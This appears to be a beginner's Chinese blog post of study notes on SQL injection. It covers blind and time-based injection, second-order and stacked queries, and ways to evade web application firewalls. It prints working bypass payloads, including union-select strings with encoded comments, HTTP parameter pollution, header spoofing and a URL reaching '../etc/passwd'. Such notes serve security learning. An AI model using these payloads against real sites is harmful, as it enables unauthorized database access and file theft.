• 网络安全笔记--SQL注入


    1. 基础

    a. 简要明确参数类型
    数字,字符,搜索,JSON等

    b. 简要明确请求方法
    GET,POST,COOKIE,REQUEST,HTTP等

    其中SQL语句干扰符号:',",%,),}等

    c. 了解常用的注释符
    –+可以注释掉前面的引号,- -+可以用#替换,两者的效果相同。
    +号在语句中变成了空格。用来和后面的单引号分隔开,将后面的语句注释,了解原理后便知道了–无法使用的原因,是因为–与后面的单引号连接在一起,无法形成有效的mysql语句。
    在这里插入图片描述

    2. 盲注

    盲注主要分为以下四种情况:
    回显注入
    无回显注入
    延时注入
    布尔注入

    先了解下常用的相关函数,以后会经常用到:

    sleep(5)  # 延时执行5秒
    mid(a,b,c)  # 从位置b开始,截取a字符串的第c位
    substr(a,b,c)  # 从位置b开始,截取a字符串的c长度
    left(a,b)  # 从左侧截取a的前b位
    length(database())=8  # 判断数据database()名的长度
    ascii(x)=97  # 判断x的ascii码是否等于97
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    盲注就是在注入过程中,获取的数据不能回显至前端页面,需要利用一些方法进行判断或者尝试。
    盲注可以分为以下三类:

    • 基于布尔的SQL盲注–逻辑判断
    • 基于时间的SQL盲注–延时判断

    if,sleep

    # 延时5秒显示结果
    select * from users where id=1 and sleep(5);
    
    # if用法,当sex=0时,返回‘女’,当不为0时,返回‘男’
    select name,if(sex=0,'女','男') as sex from student;
    
    # 当database名字为mysql时,延时5秒显示结果
    select * from users where id=1 and sleep(if(database()='mysql',5,0))
    select * from users where id=1 and if(database()='mysql',sleep(5),0)
    
    # 当database名字长度为8时,延时5秒显示结果
    select * from users where id=1 and sleep(if(length(database())=8,5,0))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 基于报错的SQL盲注–报错回显

    floor,updatexml,extractvalue

    3. 加解密

    4. 二次注入

    第一步: 插入恶意数据
    第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
    第二步: 引用恶意数据
    在将数据存入到了数据库中之后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

    在这里插入图片描述

    5. 堆叠查询

    堆叠查询简单说就是一堆SQL语句一起执行

    在这里插入图片描述

    6. WAF绕过

    6.1 相关技术

    注释符【重要!!!】
    在这里插入图片描述
    /**/注释符

    因为注释符#、-- 都是把后面的语句全部注释掉了,而内联注释/**/则是注释指定部分,需要一前一后闭合,所以在传参那里几乎不做注释语句用,而是用于过滤空格等bypass

    在这里插入图片描述

    /*! …*/注释符

    在mysql中 /*! …*/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/!../中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。

    /*!44595union…*/ 表示当mysql数据库版本为4.45.95时执行后面的语句。

    在这里插入图片描述

    1. 数据
      加密解密
      编码解码
      等价函数
      特殊符号
      反序列化
      注释符混用

    2. 方式
      更改提交方式
      变异

    3. 其它

    Fuzz大法

    一种绕过思路,利用脚本,逐个测试,批量化访问地址,类似于爆破

    数据库特性
    垃圾数据溢出

    Http参数污染

    浏览器在跟服务器进行交互的过程中,浏览器往往会在GET/POST请求里面带上参数,这些参数会以 名称-值 对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接:http://www.baidu.com?name=aa&name=bb ,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。有的服务器是取第一个参数,也就是name=aa。有的服务器是取第二个参数,也就是name=bb。有的服务器两个参数都取,也就是name=aa,bb 。这种特性在绕过一些服务器端的逻辑判断时,非常有用。

    在这里插入图片描述

    6.2 例子说明

    # %23 --> #
    # %0A --> 换行符
    id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
    id=1 union%23a%0Aselect 1,2,3%23
    # id=1 union #a
    # select 1,2,3#
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    # Http参数污染 + 特殊符号 + 注释符混用
    # %23 --> #
    # %20 --> 空格符
    # %0A --> 换行符
    id=1/**&id=-1%20union%20select%201,2,3%23*/
    1/**-1 union select 1,2,3#*/
    # 符号/**...*/中起注释作用,正常情况下没有执行,安全狗直接不管,但是有参数污染,真实数据是:
    -1 union select 1,2,3#*/
    
    select UAccount,USex,UPassword from t_users union/**select 1,2,3*/
    select UAccount,USex,UPassword from t_users union/**select 1,2,3#*/
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    6.3 常见绕过方式

    1. IP白名单
    从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
    测试方法:修改http的header来绕过waf
    x-forwarded-for
    x-remote-IP
    x-originating-IP
    x-remote-addr
    x-Real-ip

    2. 静态资源
    特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。

    3. URL白名单
    为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台,只要url中存在白名单的字符串,就作为白名单不进行检测。

    正常白名单地址如下:
    http://10.10.1.5/../../manager/../sql.php?id=1
    
    可以通过以下方式尝试绕过防御规则:
    http://10.10.1.5/.。/sql.php?a=/manager/&b=../etc/passwd/&id=1
    
    • 1
    • 2
    • 3
    • 4
    • 5

    7. 写在后面

    由于本人初学网络安全,水平有限,更多知识后续会持续补充,让笔记条理更加清晰,易于查阅。

  • 相关阅读:
    【配置环境】SQLite数据库安装和编译以及VS下C++访问SQLite数据库
    链的解构主义:一览 9 大模块化公链
    腾讯起诉vivo不正当竞争;谷歌俄罗斯分公司申请破产,官方称“银行账户被俄罗斯没收”;Opera 87发布|极客头条
    牛客TOP101-BM51
    基于ssm的社区医院儿童预防接种管理系统设计与实现-计算机毕业设计源码+LW文档
    Lesson10——NumPy 迭代数组
    idea提升编码效率的12种插件
    源码分析:ThreadLocal如何实现线程本地化存储的?
    关于IDEA的Spring boot项目创建慢,Maven插件加载慢,依赖导入慢或者失败的原因及解决方案
    持续集成交付CICD:Jenkins通过API触发流水线
  • 原文地址:https://blog.csdn.net/swy66/article/details/126057385